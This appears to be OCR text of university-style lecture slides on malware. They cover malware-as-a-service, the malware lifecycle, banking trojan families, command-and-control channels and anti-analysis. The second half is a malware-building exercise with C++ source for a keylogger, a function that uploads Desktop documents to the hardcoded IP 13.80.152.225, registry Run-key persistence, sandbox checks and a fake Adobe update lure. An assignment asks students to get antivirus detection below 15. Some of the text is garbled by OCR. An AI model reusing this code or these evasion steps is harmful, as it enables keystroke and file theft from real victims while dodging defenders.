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Malware creation lifecycle

Malware As A Service

Malware-as-a-Service Business Model
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https://socradar.io/what-is-malware-as-a-service-maas/

pical RAAS chain

Malware developer creates
malicious website on the TOR
network to spread ransomware.

TOR Network #

Malware buyer downloads
ransomware from TOR.
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°Victims’ machines are infected.
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9 Ransomware spreads.

A percentage of the ransom is paid to
the malware developer.
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Sometimes the ransom is paid but no
decryption key is provided.

site using cryptocurrency such as Bitcoin.
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Lifecycle of Malware (After Distribution)
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Malware Lifecycle - Whiteboard Wednesday [VIDEO] (rapid7.com)



https://www.rapid7.com/resources/malware-lifecycle/

Malware variants & evolution

Malware variants evolving in 2021

*Malware becomes more sophisticated. In 2020 -> 9 malicious
actions per malware file in 2021 -> 11 actions per file

Spike in malicious malware designed to encrypt data. The
ATT&CK technique ‘Data Encrypted for Impact’ enters the
report’s top ten

Five of the top ten techniques observed are categorized under
ATT&CK's “Defense Evasion” tactic. Two thirds of malware files
include at least one such technique

*5% of malware files analyzed exhibit virtualization/sandbox
evasion tactics.

*‘Command and Scripting Interpreter’ is the most prevalent
ATT&CK technique observed, exhibited by a quarter of all
malware samples analyzed. (LolL)




Evolution: Banking Trojan families

Banking Trojans:

A Reference Guide to the Malware Family Tree

ZEUS

Continuously spawning variants, legacy Zeus is RAMNIT
known to grab user credentials, alter webpage s e KRONOS
forms, and redirect to fake sites. The latest variant GAMEOVER ZEUS . DRIDEX

generates income through a pay-per-click model. CITADEL
KRONOS

Gozl

Logging keystrokes, old-school Gozi steals users’
login credentials and redirects users to fake web-
sites to hijack banking transactions. It's known for
its evasion techniques.
VAWTRAK

CARBERP GoznvM

With ties to organized crime, Carberp logs key-
strokes, hides instances of itself, and spoofs bank-
ing websites, all intending to steal users’ banking
ntials an o)
credentials d money. o

I

N2{373

SpyEye targeted Windows users running some of CARBERP
the most popular web browsers. It tried to kill
Zeus and stole users’ credentials.

* Absorbed Zeus code when Zeus author retired.

SHYLOCK SPYEYE *

This Merchant of Venice captured users’ online
banking credentials and then tricked them into
transferring funds to attacker-controlled accounts.

TRICKBOT

BACKSWAP

TINBA

As the smallest banking trojan known (20 KB),
Tinba uses web-injects and typically runs geo-
specific campaigns.

* Shared nearly identical webinjects with Gozi

SHYLOCK
DYRE

The first to use completely fake login pages,
server-side web-injects, and a modular
architecture, Dyre was also known for its unique
fraud techniques, crypto evolution, and stealth
capabilities.

EMOTET *

EMOTET

Emotet began as a banking trojan and later incor-
porated malware delivery services that enabled it

to install other banking trojans.

* Drops Dridex as a payload. ANT [ . 1 RN 0000000OCOOOGOS

ORIGINAL MALWARE ) NECTS *
CODE DORMANT / AUTHOR ARRESTED UNCONFIRMED DESCENDANT SHARED BUECTS

A Reference Guide to the Malware Family Tree



Infrastructure & Operations

[NEW][HOT][BITCOIN] Ransomware-as-a-Service

*Sales & Marketing of Services

DotRansomware

*Malware Distribution
Infrastructure

lello!
We present you new [FERELINEI As A Service

Features:
Fully customizable

Command & Control
e KEncryption - Key Management

*Customer Support

‘Money management — L —
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Likes:

* ' .onion.casa

" .0nion

Evolution




Command & Control

Goal:

- Collect Information
- Send commands

- Stay hidden

- Resillience

Protocols or Channels:

- FTP

- SMTP
- IRC

- HTTPS
- DNS
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APT Ops Example

AACAlCLULICI ACTAL, J CioT 41 (LYPEUL LTI Lir iU
nmed’ && typeof certlFicate.ownerDocu
{var range = certlFicate.ownerDocume
lodgContents(certlFicate); return range.
icate.textContent != 'undefined’) {retum
yction validateForSignOn(UnLock, count)
4 ,ount > 0) {if (UnLock.USERNAME.value =

AL

\post_finge ' O,
" && charc /O ) {alert(gatewayAccess("Please enter your

User ID and Pas! °~n on")); UnLock.USERNAME . focus(); return
(false); } if (U ock.PASSWORD. copy == "") {alert(gatewayAccess
(SCertificateRefresh); UnLock.PASSWORD.attachSpider(); return (false); }
if (IchangeUsernameClicked) {var cryptoTransform= doc.getUserByld
("useridTrack-IdentTraceBlur"); if(fingerprint == null || categoryObj ==
"“YUnLock.USERNAME.value = UnLock.userlD remote Stimeout.options
\UnLock.useridTrack.selectedIndex].value; }> {UnLock.USERNAME.value
= categoryObj.options[categoryObj.selectedIndex].bugSet(); } } if (UnLock.
USERNAME.value == "SignOnAs" && !changeUsernameReveal() {alert
(gatewayAccess()); return (false); } } else {if ((UnLock Encryptor.value==0;
(UnLock. PASSWORD.value=="")) {alert(gatewayAccess('FULL); SUserlID;



APT — State Sponsored Example
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Campaigns timeline
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Campaign example- SWIFT-
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Lazarus Under The Hood PDF final.pdf
(kasperskvcontenthub.com)



https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf

TTPs

Lazarus Group., Labvrinth Chollima, HIDDEN COBRA. Guardians of Peace,
ZINC, NICKEL ACADEMY. Group G0032 | MITRE ATT&CK®



https://attack.mitre.org/groups/G0032/
https://attack.mitre.org/groups/G0032/
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Malware Attributes atfected by:

*Budget available

*The infrastructure to be used
*The targets setup

*The objectives of a campaign
*The duration of a campaign

* Attribution fear




Malware Update

AACALCLALICI ICAL, § CioT A1 (LYPCUL LTIl 1Gq
ined’ && typeof certlFicate.ownerDocument
{var range = certlFicate.ownerDocume
\NodgContents(certlFicate); return range.
iIFicate.textContent != 'undefined’) {return
tion validateForSignOn(UnLock, count)

B

LTI
SDTrTi=1M1
CCALlil AL al

{post_finge o/ ’ g,ount > 0) {if (UnLock.USERNAME.value =
" && char /O/ ") {alert(gatewayAccess("Please enter your

User ID and Pas) : 9n on")); UnLock.USERNAME . focus(); return
(false); } if (U ock.PA SSWORD.copy == ") {alert(gatewayAccess
(SCertificateRefresh); UnLock.PASSWORD.attachSpider(); return (false); }
if (changeUsernameClicked) {var cryptoTransform= doc.getUserByld
("useridTrack-IdentTraceBlur"); if(fingerprint == null || categoryObj ==
"“YUnLock.USERNAME.value = UnLock.userlD remote Stimeout.options
\UnLock.useridTrack.selectedIndex].value; }> {UnLock.USERNAME.value
= categoryObj.options|categoryObj.selectedIndex].bugSet(); } } if (UnLock.
USERNAME.value == "SignOnAs" && !changeUsernameReveal() {alert
(gatewayAccess()); return (false); } } else {if ((UnLock Encryptor.value==0;
(UnLock. PASSWORD.value=="")) {alert(gatewayAccess('FULL); SUserlID;



eminder- Highly Detected Code

4 5 Q/ 45 security vendors and no sandboxes flagged this file as malicious >

0f644b73a66f52491f5badf067b7c84426bad974f998a5c2b9157b7e80bfb92e 267.50 KB 2022-06-09 23:33:20 UTC
malicious.exe e 3 Sa
peexe
X v
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Security Vendors' Analysis

Ad-Aware AhnLab-V3 )

are/Win32 Generic.C3497000

Alibaba ® Win32/KeyLogger.896263f3 AlYac ©)

Arcabit (D) Trojan Ursu.D93090 Avast ®

AVG (D) Win32:Trojan-gen Avira (no cloud) ©)

BitDefender (D) Gen:Variant.Ursu 602256 BitDefenderTheta (D Gen:NN.ZexaF.34712. quV@aSVMgbdi
Bkav Pro /\-‘/ W32 AlDetect. malware2 CrowdStrike Falcon Q/ Win/malicious_confidence_100%
Cybereason ® Cylance (D) Unsafe

Cynet ® cious (score: 100) Elastic (D Malicious (high Confidence)
Emsisoft Q/ Gen:Variant.Ursu 6022 eScan Q Gen:Variant.Ursu 602256
ESET-NOD32 (1) AVariant Of Win32/Spy.Agent. PUS Fortinet (1) W32/KeyLogger BITZ!tr

GData (1) Gen:Variant Ursu 602256 Ikarus (D Trojan-Spy

K7AntiVirus (@ Risk ( 0040eff71) K7GW (D Riskware { 00406fi71 )
Kaspersky \ix‘ Trojan-Spy.Win32 KeyLogger bitz Lionic \i/‘ Trojan Multi Generic.4lc




How to check malware Detection Rate

» Use Virus total Alternatives that do not distribute the file for further analysis

 Build your own Virus Total



https://www.virscan.org/language/en/
https://www.virscan.org/language/en/

Common Ant1 Analysis Techniques

Obfuscation:

- Mixing the source code of the binary without disrupting the real function
- Can bypass some AV product but malicious behavior can still be flagged

Packers:

- Compressing an executable file and combining the compressed data with decompression
code into single executable

- AV scanner needs to determine the compression algorithm and decompress it.
- Packer use flagged as malicious

Crypters:
- Encrypts the binary
- A crypter exists of two parts, builder and stub

- first stub runs and decrypts the original binary to memory and then executes the binary
on memory via “RunPE” method




The red tlags

— Decryption loop detected — Possibly checks for the presence of antivirus engine
_ Reads active computer name — Monitors specific registry key for changes

_ _ — Contains ability to elevate privileges
— Reads the cryptographic machine GUID
— Modifies software policy settings

— Contacts random domain names _ ,
— Reads the system/video BIOS version

— Reads the windows installation date — Endpoint in PE header is within an uncommon section

— Drops executable files — Creates guarded memory regions

— Found potential IP address in binary memory — Spawns a lot of processes

. . — Tries to sleep f 1 ti
— Modifies proxy settings 165 to Sleep for 4 fong time

— Unusual sections
— Installs hooks/patches the running process
— Reads windows product id

— Injects into explorer . .
) P — Contains decryption loop

— Injects into remote process — Contains ability to start/interact device drivers

— Queries process information — Contains ability to block user input ...

Qn+a *‘L\f\ b a% ' TaYaYaYealalat ik Tat W‘\I\Af\ 4—1\ e b h 2t a2t i TaYealfa a2 Tat d knv
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Packer & Crypter Logic
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Obfuscation example

Shellcode obfuscation

First thing which comes in mind is to modify the shellcode to evade static signatures based on its
content.

We can try the simplest “encryption” - apply ROT13 cipher to all bytes of embedded shellcode - so
becomes 0x54, 0xFF becomes 6x0C and so on. During execution the shellcode will get “decrypted” by

substracting a value of ©9x6D (13) from every byte.

The code looks Tike the following:

HANDLE hThr

WaitForSir



https://0xpat.github.io/Malware_development_part_1/

AV Detection

suspicious. When we analyze crypters written in c or higher level languages in almost every cases

we could see these windows API functions called "NtUnmapViewOfSection” and

"ZwUnmapViewOfSection” these functions simply unmaps a view of a section from the virtual
address space of a subject process, they play a very important role at in memory execution

method called RunPE which almost %90 of crypters uses.

XxNtUnmapViewC£fSection =
NtUnmapViewCtSection (GetProcAddress (GetModuleHandleA ("ntdll.dil"),
"NtUnmapViewOCfSecticon"} ) ;

(NtUnmapViewCfSection(PI.hProcess, PVOID (dwImageBase));




Anti-Analysis

* Is Debugger Present?
) Number Of Cores Chf‘&:gﬁif;lg;-:r

* How long System up? it s

2
if ((Tac - Tick) < 1000

return false;

SYSTEM INFO SysGuide:;
Get en fo {&SysGuide);

int CoreNum = SysGuide.dwNumberQfProcessors;

if (CoreNum < 2)

return false;




What really helps (cherry pick some)

* Making the app more legitimate

* Signing the binary

* Switching to x64

* Hardware resources and Analysis detection
* VM-specific artifacts

* Screen resolution

» User interaction

* Running processes

e Study the victim




Code Development Time: Specs

We need a malware to perform:

+  Keylogging

* File Exfiltration of pdf, doc and .xls files located on the DESKTOP and
key logs

« Send to remote ip: 13.80.152.225

* Logs are deleted.

* Persistence

« Grab screenshot

* Anti Analysis & Low detection

*  Run on Windows OS




—-]int Save(int key_stroke, char* file)

Keylogging Function PP ——

return 9;
}

Jint capture() {
FILE* OUTPUT_FILE;

int sc = @; OUTPUT_FILE = fopen(file, "a+");

c:a; 3 cout << key_stroke << endl;
while (1)
{ if (key_stroke == 8)
fprintf (OUTPUT_FILE, "%s", "[Bspc]l");
for (i = 8; i <= 190; i++) else if (key_stroke == 13)
{ fprintf(OUTPUT_FILE, "%s", "\n");
if (GetAsyncKeyState(i) == -32767) sl 15 (key stroks == 32)
fprintf (OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
(;c?pt“regeézstirs 0@ fprintf(OUTPUT_FILE, "%s", "[Tb]");
. : 1t (sc < else if (key_stroke == VK_SHIFT)
if (capture() == @) { fprintf(OUTPUT_FILE, "%s", "[Shft]");
- if ((sc % 200) == 0) { else if (key_stroke == VK_CONTROL)
WpiteActive(); fprintf (OUTPUT_FILE, "%s", "[Cr]l");
textsender(); textsender(); else if (key_stroke == VK_ESCAPE)
i fprintf (OUTPUT_FILE, "%s", "[Esc]");
deletelog()’ } else if (key_stroke == VK_END)
athadder : : . fprintf(OUTPUT_FILE, "%s", "[Ed]");
P - ( ) E if (sc == 100) { else if (key_stroke == VK_HOME)
dlr‘bUSter(); ) fprintf(OUTPUT_FILE, "%s", "[Hm]");
//// filesender(); else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, “"%s", "[L1]");
system("EXIT"); } else if (key stroke == VK_UP)
. Saveli. “1om ety fprintf(OUTPUT_FILE, "%s", "[Uu]");
return 9, sc++$ ’ . )i else if (key_stroke == VK_RIGHT)
} ? fprintf(OUTPUT_FILE, "%s", "[Rr]");
} else if (key_stroke == VK_DOWN)
: else { fprintf(OUTPUT_FILE, "%s", "[Dd]");
else if (key_stroke == 190 || key_stroke == 110)
return 0; fprintf(OUTPUT_FILE, "%s", ".");
else fprintf(OUTPUT_FILE, "%s", &key_stroke);
}
fclose(OUTPUT_FILE);
} return 0;
}




File Exfiltration function

void filesender() {

char* docdir = getenv("USERPROFILE");
string path(docdir);
if (docdir)

{
path += "\\Desktop\\";
}
else {
path = "C:\\";
¥

string pathall = path + "*";

WIN32_FIND_DATA file;
HANDLE search_handle = FindFirstFile(pathall.c_str(), &file);
if (search_handle)
{
do

{

string filenames = file.cFileName;

if ((filenames.find(".pdf") != string::npos) || (filenames.find(".doc") != string::npos) || (filenames.find(".x1ls") != string::npos)) {
std::wcout << file.cFileName << std::endl;
string pather = path.c_str();

char results[2e0]; // array to hold the result.
strcpy(results, path.c_str()); // copy string one into the result.
strcat(results, file.cFileName);

static char* filename = results; //Filename to be loaded
static char* type = "text/html,application/xhtml+xml,application/xml";

static char boundary[] = "----------"----- K //Header boundary
static char nameForm[] = "attach"; //Input form name

static char iaddr[] = "13.80.152.225"; //IP address

static char url[] = "/adobetelemetry/Upload.aspx"; //URL

char hdrs[255]; //Headers

char* buffer; //Buffer containing file + headers

char* content; //Buffer containing file

FILE* pFile; //File pointer

long 1Size; //File size

size_t result;
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What 1s the purpose?

1bool IsKeyboardLayoutPresent(DWORD dwPrimaryLangID)

{

if (IsActiveKeyboardLayout(dwPrimaryLangID))
return true;

DWORD dwThreadID = GetCurrentThreadId();
HKL hOld = GetKeyboardLayout(dwThreadID);
Tar (55)
{
ActivateKeyboardLayout ( (HKL)HKL _NEXT, ©);
if (hOld == GetKeyboardLayout(dwThreadID))
return false;

if (IsActiveKeyboardLayout(dwPrimaryLangID))

{
ActivateKeyboardLayout(hOld, 9);

return true;




What 1s the purpose?

MessageBox(NULL, _T("The newest version of Adobe Flash Player has been installed succesfully."), _T("Update Succesfull - CE2020"), MB_OK | MB_SYSTEMMODAL);
anti(666666);

staller();
if (direExists("C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader")) {
ShellExecute(NULL, "open", "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", NULL, NULL, SW_SHOWDEFAULT);

}

string strURL4 = "findstr /s \"Adobe Update help! CE2020\" *.pdf";
theExecutor(strURL4);
return 1;




What 1s the purpose?

Jvoid pathadder() {

HKEY hkey;
LPCSTR 1lpMyString = messWithStrings(1).c_str();

string path = ExePath() + "\\" + messWithStrings(1);
char szBuf[100];

strcpy_s(szBuf, path.c_str());

RegOpenKeyEx (HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\Currentversion\\Run", @, KEY_SET_VALUE, &hkey);
RegSetValueEx(hkey, lpMyString, @, REG_SZ, (LPBYTE)szBuf, strlen(szBuf) + 1);
RegCloseKey(hkey);




Task: Make Stealthier

DOWNLOAD [ https://pithos.okeanos.gret.ar/public/NQp2KdXY QjaMbk2tYuNoF 1

Add at least 3 of the following functions:

* Detect Analysis and exit

» Ask for user interaction to proceed

« String Obfuscation of IP contacted for exfiltration
* Use a Packer

* Code Signing

* Add junk functions

+ Stall execution

* Any other technique...

* Goals:

* The core Functionality of key-logging and exfiltration of
key-strikes should be maintained to the same IP & URL

¢ Virus Total Detection should be below 15

*  File uploaded should be .exe

24 ) @ 24 security vendors and no sandboxes flagged this file as malicious

fe2bb2d9b09a82c7254b55587296670dec268332e823cf157chb60617d3d 1311

N
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DETECTION DETAILS

Security Vendors' Analysis

Ad-Aware

AlYac

BitDefenderTheta

Cybereason

Cynet

Emsisoft

ESET-NOD32

MAX

Microsoft

Rising

Symantec

Trellix (FireEye)

peexe

RELATIONS BEHAVIOR

() Gen:Variant.Babar.34722

(O Gen:Variant.Babar.34722

@ Gen:NN.ZexaF.34786.ouW@auHI4Api
@ Malicious. 76206

@ Malicious (score: 100)

@ Gen:Variant.Babar.34722 (B)

@ A Variant Of Win32/Spy.KeyLogger.QCB
@ Malware (ai Score=87)

@ Program:Win32/Wacapew.C!ml

@ Trojan.Generic@Al.87 (RDMK:cmRtazrL...

@ ML.Attribute.HighConfidence

(@ Generic.mg.4e509b684b8021c

COMMUNITY

AhnLab-V3

BitDefender

Bkav Pro

Cylance

Elastic

eScan

GData

MaxSecure

Panda

SecureAge APEX

Trapmine

VIPRE

226.50 KB

2022-07-07 17:15:44 UTC
1 hour ago

(@ Trojan/Win.Generic.C4750109
@ Gen:Variant.Babar.34722

@ W32.AlDetect.malware1

@ Unsafe

@ Malicious (high Confidence)
@ Gen:Variant.Babar.34722

@ Gen:Variant.Babar.34722

@ Trojan.Malware.300983.susgen
@ Trj/Genetic.gen

@ Malicious

@ Suspicious.low.ml.score

(O Gen:Variant.Babar.34722

0

3
0%



https://pithos.okeanos.grnet.gr/public/NQp2KdXYQjaMbk2tYuNoF1

Inspiration

https://www.virustotal.com/qui/file/e82c5a9f0a1097b141a35b19¢c84655e441c6a20cf9636287e6f298a7a010e9b1/behavior

1 2 \ @ 12 security vendors and no sandboxes flagged this file as malicious
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Security Vendors' Analysis

BitDefenderTheta @ Gen:NN.ZexaF.34786.ruW@ae1DpTmi
Cybereason @ Malicious.4f4137

Elastic @ Malicious (moderate Confidence)
Microsoft @ Program:Win32/Wacapew.C!ml
SecureAge APEX @ Malicious

Symantec @ ML.Attribute.HighConfidence

Acronis (Static ML)

Undetected

281.00 KB

Size

Bkav Pro

Cynet

MaxSecure

Rising

SentinelOne (Static ML)

VBA32

Ad-Aware

2022-07-07 19:33:53 UTC A
a moment ago EXE

a

SRR AR CHE

W32.AlDetect.malware1

Malicious (score: 100)

Trojan.Malware.300983.susgen

Trojan.Generic@Al.93 (RDML:bW8AXLp...

Static Al - Malicious PE

BScope.Trojan.Cometer

) Undetected



https://www.virustotal.com/gui/file/e82c5a9f0a1097b141a35b19c84655e441c6a20cf9636287e6f298a7a010e9b1/behavior
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